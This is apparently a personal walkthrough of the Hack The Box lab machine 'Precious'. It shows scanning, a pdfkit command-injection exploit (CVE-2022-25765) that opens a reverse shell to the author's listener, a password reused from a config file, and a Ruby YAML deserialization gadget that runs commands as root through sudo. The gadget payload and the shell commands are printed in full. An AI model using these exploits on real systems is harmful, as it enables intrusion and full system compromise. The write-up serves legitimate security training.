Precious

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For me IP of the machine is : 10.129.228.98 Lets try pinging it

```
ping 10.129.228.98 -c 5

PING 10.129.228.98 (10.129.228.98) 56(84) bytes of data.
64 bytes from 10.129.228.98: icmp_seq=1 ttl=63 time=82.3 ms
64 bytes from 10.129.228.98: icmp_seq=2 ttl=63 time=128 ms
64 bytes from 10.129.228.98: icmp_seq=3 ttl=63 time=220 ms
64 bytes from 10.129.228.98: icmp_seq=4 ttl=63 time=107 ms
64 bytes from 10.129.228.98: icmp_seq=5 ttl=63 time=87.4 ms

--- 10.129.228.98 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 82.316/124.821/219.525/50.038 ms
```

Port Scanning

All Port Scan

```
rustscan -a 10.129.228.98 --ulimit 5000
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (14.106s)
rustscan -a 10.129.228.98 --ulimit 5000
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP
[~] The config file is expected to be at "/home/pks/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.228.98:22
Open 10.129.228.98:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-20 18:36 IST
Initiating Ping Scan at 18:36
Scanning 10.129.228.98 [2 ports]
Completed Ping Scan at 18:36, 0.44s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:36
Completed Parallel DNS resolution of 1 host. at 18:36, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:36
Scanning 10.129.228.98 [2 ports]
Discovered open port 80/tcp on 10.129.228.98
Discovered open port 22/tcp on 10.129.228.98
Completed Connect Scan at 18:36, 0.21s elapsed (2 total ports)
Nmap scan report for 10.129.228.98
Host is up, received syn-ack (0.37s latency).
Scanned at 2024-10-20 18:36:24 IST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
```

```
Open Ports

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack

80/tcp open http syn-ack
```

Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.129.228.98 -o aggressiveScan.txt
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (16.845s)
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.129.228.98 -o aggressiveScan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-20 18:38 IST
Nmap scan report for 10.129.228.98
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
ssh-hostkey:
   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
__ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.81 seconds
```

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
|Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Lets add precious.htb to /etc/hosts

```
# Static table lookup for hostnames.
# See hosts(5) for details.
10.10.11.242
                devvortex.htb
                                 dev.devvortex.htb
10.10.11.252
                bizness.htb
10.10.11.217
                topology.htb
                                 latex.topology.htb
                                                          deι
                keeper.htb
                                 tickets.keeper.htb
10.10.11.227
10.10.11.136
                                 pandora.panda.htb
                panda.htb
                                 api-prod.horizontall.htb
10.10.11.105
                horizontall.htb
10.10.11.239
                codify.htb
10.10.11.208
                searcher.htb
                                 gitea.searcher.htb
10.10.11.219
                pilgrimage.htb
10.10.11.233
                analytical.htb
                                 data.analytical.htb
10.10.11.230
                cozyhosting.htb
10.10.11.194
                soccer.htb
                                 soc-player.soccer.htb
10.10.11.122
                nunchucks.htb
                                 store.nunchucks.htb
10.129.228.109
                squashed.htb
10.129.228.60
                photobomb.htb
10.129.228.98
                precious.htb
```

Alright, lets do some directory fuzzing now

Directory Fuzzing

feroxbuster -u http://precious.htb -w /usr/share/wordlists/dirb/common.txt t 200 -r --scan-dir-listings

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±4 (13.579s)
feroxbuster -u http://precious.htb -w /usr/share/wordlists/dirb/common.txt -t 200 -r --scan-dir-listings
by Ben "epi" Risher 🤓
                                       ver: 2.11.0
    Target Url
                            http://precious.htb
    Threads
 Wordlist
                            /usr/share/wordlists/dirb/common.txt
    Status Codes
                            All Status Codes!
    Timeout (secs)
 User-Agent
                             feroxbuster/2.11.0
                             /home/pks/.config/feroxbuster/ferox-config.toml
    Config File
 Extract Links
                             true
                            true
 Scan Dir Listings
 MTTP methods
                            [GET]
    Follow Redirects
                            true
   Recursion Depth
    Press [ENTER] to use the Scan
404
        GET
                   11
                             2w
                                      18c Auto-filtering found 404-like response and created new filter; to
200
                   471
         GET
                            89w
                                      815c http://precious.htb/stylesheets/style.css
200
         GET
                   181
                            42w
                                      483c http://precious.htb/
503
         GET
                   11
                            29w
                                      189c http://precious.htb/queues
                   11
503
        GET
                            29w
                                      189c http://precious.htb/radio
```

Now lets see this web application

Web Application

Default page



I tried https://google.com in this



Got this in burp lets look at that

```
Request
                                                                            Response
Pretty
       Raw
                                                             ⊘ 5 \n ≡
                                                                            Pretty
                                                                                  Raw
 1 POST / HTTP/1.1
                                                                            1 HTTP/1.1 200 OK
  Host: precious.htb
                                                                              Content-Type: text/html;charset=utf-8
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101
                                                                            3 Connection: keep-alive
  Firefox/131.0
                                                                            4 Status: 200 OK
4 Accept:
                                                                            5 X-XSS-Protection: 1; mode=block
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imag
                                                                            6 X-Content-Type-Options: nosniff
                                                                            7 X-Frame-Options: SAMEORIGIN
  e/jxl,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
                                                                            8 Date: Sun, 20 Oct 2024 14:22:14 GMT
6 Accept-Encoding: gzip, deflate, br
                                                                           9 X-Powered-By: Phusion Passenger(R) 6.0.15
7 Content-Type: application/x-www-form-urlencoded
                                                                           10 Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
8 Content-Length: 28
                                                                           11 X-Runtime: Ruby
9 Origin: http://precious.htb
                                                                           12 Content-Length: 506
10 Sec-GPC: 1
11 Connection: keep-alive
                                                                           14 <!DOCTYPE html>
12 Referer: http://precious.htb/
                                                                           15 <html>
13 Upgrade-Insecure-Requests: 1
14 Priority: υ=θ, i
                                                                           17
                                                                                        <title>
                                                                                             Convert Web Page to PDF
16 url=https%3A%2F%2Fgoogle.com
                                                                                        </title>
                                                                                        k rel="stylesheet" href="stylesheets/stylesheets/sty"
                                                                           19
                                                                           20
                                                                                  <body>
```

Gaining Access

So i searched for ruby pdf exploit and found this pdfkit exploit

: https://github.com/UNICORDev/exploit-CVE-2022-25765?tab=readme-ov-file ☐

Exploit for CVE-2022–25765 (pdfkit) - Command Injection



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For educational and authorized security research purposes only.

Exploit Author

@UNICORDev by (@NicPWNs and @Dev-Yeoj)

Vulnerability Description

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

Exploit Description

A ruby gem pdfkit is commonly used for converting websites or HTML to PDF documents. Vulnerable versions (< 0.8.7.2) of this software can be passed a specially crafted URL containing a command that will be executed. This exploit generates executable URLs or sends them to a vulnerable website running pdfkit.

Usage

Lets run it First start a listener

~/Documents/Notes/Hands-on-Had nc -lvnp 9001 Listening on 0.0.0.0 9001

```
python3 exploit.py -s 10.10.16.19 9001 -w http://precious.htb -p url
```

And we get our revshell here

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±3
nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.228.98 56194
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
```

Lets upgrade this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±3
nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.228.98 56194
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$ ^Z
[1] + 22094 suspended nc -lvnp 9001

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)
stty raw -echo;fg
[1] + 22094 continued nc -lvnp 9001

ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$
```

Lateral PrivEsc

Lets see all the user's on this machine with a shell

```
ruby@precious:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
ruby@precious:~$
```

Lets check all the files in /var/www/pdfapp

```
ruby@precious:/var/www/pdfapp$ find . -type f
./public/stylesheets/style.css
./config.ru
./config/environment.rb
./Gemfile
./app/views/index.erb
./app/controllers/pdf.rb
./Gemfile.lock
ruby@precious:/var/www/pdfapp$
```

Now lets see this config.ru here

```
ruby@precious:/var/www/pdfapp$ cat config.ru
require_relative './config/environment'
run PdfControllers
ruby@precious:/var/www/pdfapp$
```

Nothing major here lets see this environment.rb

```
ruby@precious:/var/www/pdfapp$ cat config/environment.rb
require 'bundler/setup'

APP_ENV = ENV["RACK_ENV"] || "development"

Bundler.require :default, APP_ENV.to_sym

require 'rubygems'
require 'bundler'

require_rel '../app'
ruby@precious:/var/www/pdfapp$
```

Nothing here either lets see our home directory here

```
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls
ruby@precious:~$ ls -al
total 32
drwxr-xr-x 5 ruby ruby 4096 Oct 20 09:33 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 4 ruby ruby 4096 Oct 26 2022 .bundle
drwxr---- 3 ruby ruby 4096 Oct 20 09:14 .cache
drwx----- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$
```

So .bundle just jumps out to me lets see all what this has

```
ruby@precious:~$ ls -al .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .
drwxr-xr-x 5 ruby ruby 4096 Oct 20 09:33 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 2022 config
ruby@precious:~$
```

Lets see this file

```
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~$
```

Got creds here

Lets ssh in now

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Precious git:(main)±1 (3.967s)
ssh henry@precious.htb
henry@precious.htb's password:

henry@precious:~ (0.166s)

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

henry@precious ~ (0.299s)
id
uid=1000(henry) gid=1000(henry) groups=1000(henry)

henry@precious ~
|
```

And here is your user.txt

```
henry@precious:~ (0.399s)

ls -al

total 28

drwxr-xr-x 3 henry henry 4096 Oct 20 09:51 .

drwxr-xr-x 4 root root 4096 Oct 26 2022 ..

lrwxrwxrwx 1 root root 9 Sep 26 2022 .bash_history -> /dev/null
-rw-r--r- 1 henry henry 220 Sep 26 2022 .bash_logout
-rw-r--r- 1 henry henry 3526 Sep 26 2022 .bashrc

drwxr-xr-x 3 henry henry 4096 Oct 20 09:51 .local
-rw-r--r- 1 henry henry 807 Sep 26 2022 .profile
-rw-r---- 1 root henry 33 Oct 20 09:02 user.txt
```

```
henry@precious ~ (0.428s)

find / -perm -u=s -type f 2>/dev/null

/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/fusermount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
```

Pretty standard lets see the GUID binaries

```
henry@precious:~ (0.62s)

find / -perm -g=s -type f 2>/dev/null

/usr/bin/ssh-agent
/usr/bin/crontab
/usr/bin/expiry
/usr/bin/wall
/usr/bin/chage
/usr/sbin/unix_chkpwd
```

Pretty standard as well

Now lets check the sudo permissions as we have the password of this user

```
henry@precious ~ (0.115s)

sudo -l

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

Lets try to run this to see if this is looking for something we can inject a payload in

So its looking for an dependencies.yml lets find an exploit for this

So, I searched for ruby dependencies deserialization exploit and found this Payload all the things page of ruby

:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecu
re%20Deserialization/Ruby.md



Lets look for our ruby version here

```
henry@precious:~ (0.15s)

ruby --version

ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
```

So the bottom one should work, This is one I'm talking about

```
Universal gadget for ruby 2.x - 3.x.
  - !ruby/object:Gem::Installer
    !ruby/object:Gem::SpecFetcher
  - !ruby/object:Gem::Requirement
    requirements:
      !ruby/object:Gem::Package::TarReader
      io: &1 !ruby/object:Net::BufferedIO
        io: &1 !ruby/object:Gem::Package::TarReader::Entry
           read: 0
           header: "abc"
        debug_output: &1 !ruby/object:Net::WriteAdapter
           socket: &1 !ruby/object:Gem::RequestSet
               sets: !ruby/object:Net::WriteAdapter
                   socket: !ruby/module 'Kernel'
                   method_id: :system
               git_set: id
           method_id: :resolve
```

So lets save this in a file called dependencies.yml

```
henry@precious /tmp (1.711s)
vi dependencies.yml
henry@precious /tmp (0.217s)
cat dependencies.yml
- !ruby/object:Gem::Installer
   i: x
 !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
```

Now lets run it again

ok so this is working lets edit it like this to get a shell

```
henry@precious:/tmp (0.153s)
cat dependencies.vml
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
 !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: bash
         method_id: :resolve
```

```
henry@precious /tmp

sudo /usr/bin/ruby /opt/update_dependencies.rb

sh: 1: reading: not found
root@precious:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@precious:/tmp#
```

Got root, and here is your root.txt

Thanks for reading :)